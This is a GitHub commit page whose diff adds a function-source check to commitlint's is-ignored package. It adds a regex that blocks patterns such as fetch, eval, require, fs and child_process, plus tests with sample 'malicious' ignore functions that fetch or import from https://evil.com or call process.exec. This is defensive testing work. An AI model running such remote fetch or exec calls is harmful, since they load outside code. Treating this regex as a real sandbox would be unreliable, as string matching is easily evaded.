Skip to content

Commit

Permalink
fix: improve security validation regex in is-ignored function
Browse files Browse the repository at this point in the history
  • Loading branch information
edodusi committed Jan 21, 2025
1 parent 8bb10a6 commit 35037b6
Show file tree
Hide file tree
Showing 3 changed files with 91 additions and 1 deletion.
62 changes: 62 additions & 0 deletions @commitlint/is-ignored/src/is-ignored.test.ts
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import {test, expect} from 'vitest';

import isIgnored from './is-ignored.js';
import {Matcher} from '@commitlint/types';

const VERSION_MESSAGES = [
'0.0.1',
Expand Down Expand Up @@ -205,3 +206,64 @@ test('should throw error if any element of ignores is not a function', () => {
} as any);
}).toThrow('ignores must be array of type function, received items of type:');
});

test('should throw error if custom ignore function returns non-boolean value', () => {
const testCases = [
() => 1, // number
() => 'true', // string
() => undefined, // undefined
() => null, // null
() => ({}), // object
() => [], // array
];

testCases.forEach((testFn) => {
expect(() => {
isIgnored('some commit', {
ignores: [testFn as unknown as Matcher],
});
}).toThrow('Ignore function must return a boolean');
});
});

test('should throw error for custom ignore functions with security risks', () => {
const maliciousPatterns = [
'function() { fetch("https://evil.com"); return true; }',
'function() { import("https://evil.com"); return true; }',
'function() { require("fs"); return true; }',
'function() { process.exec("ls"); return true; }',
'function() { process.spawn("ls"); return true; }',
'function() { process.execFile("ls"); return true; }',
'function() { process.execSync("ls"); return true; }',
'function() { new XMLHttpRequest(); return true; }',
];

maliciousPatterns.forEach((fnString) => {
const fn = new Function(`return ${fnString}`)();
expect(() => {
isIgnored('some commit', {
ignores: [fn],
});
}).toThrow('Ignore function contains forbidden pattern');
});
});

test('should not throw error for custom ignore functions without security risks', () => {
const safePatterns = [
'function(commit) { return commit === "some commit"; }',
'function(commit) { return commit.startsWith("some"); }',
'function(commit) { return commit.includes("some"); }',
'function(commit) { return commit.length < 10 && commit.includes("some"); }',
'function(commit) { return commit.length < 10 || commit.includes("fetch"); }',
'function(commit) { return commit.includes("exec"); }',
];

safePatterns.forEach((fnString) => {
const fn = new Function(`return ${fnString}`)();
expect(() => {
isIgnored('some commit', {
ignores: [fn],
});
}).not.toThrow();
});
});
14 changes: 13 additions & 1 deletion @commitlint/is-ignored/src/is-ignored.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import {wildcards} from './defaults.js';
import {IsIgnoredOptions} from '@commitlint/types';
import {validateIgnoreFunction} from './validate-ignore-func.js';

export default function isIgnored(
commit: string = '',
Expand All @@ -13,6 +14,9 @@ export default function isIgnored(
);
}

// Validate ignore functions
ignores.forEach(validateIgnoreFunction);

const invalids = ignores.filter((c) => typeof c !== 'function');

if (invalids.length > 0) {
Expand All @@ -24,5 +28,13 @@ export default function isIgnored(
}

const base = opts.defaults === false ? [] : wildcards;
return [...base, ...ignores].some((w) => w(commit));
return [...base, ...ignores].some((w) => {
const result = w(commit);
if (typeof result !== 'boolean') {
throw new Error(
`Ignore function must return a boolean, received ${typeof result}`
);
}
return result;
});
}
16 changes: 16 additions & 0 deletions @commitlint/is-ignored/src/validate-ignore-func.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
import {Matcher} from '@commitlint/types';

export function validateIgnoreFunction(fn: Matcher) {
const fnString = fn.toString();

// Check for dangerous patterns
const dangerousPattern =
/(?:process|require|import|eval|fetch|XMLHttpRequest|fs|child_process)(?:\s*\.|\s*\()|(?:exec|execFile|spawn)\s*\(/;
if (dangerousPattern.test(fnString)) {
// Find which pattern matched for a more specific error message
const match = fnString.match(dangerousPattern);
throw new Error(
`Ignore function contains forbidden pattern: ${match?.[0].trim()}`
);
}
}

0 comments on commit 35037b6

Please sign in to comment.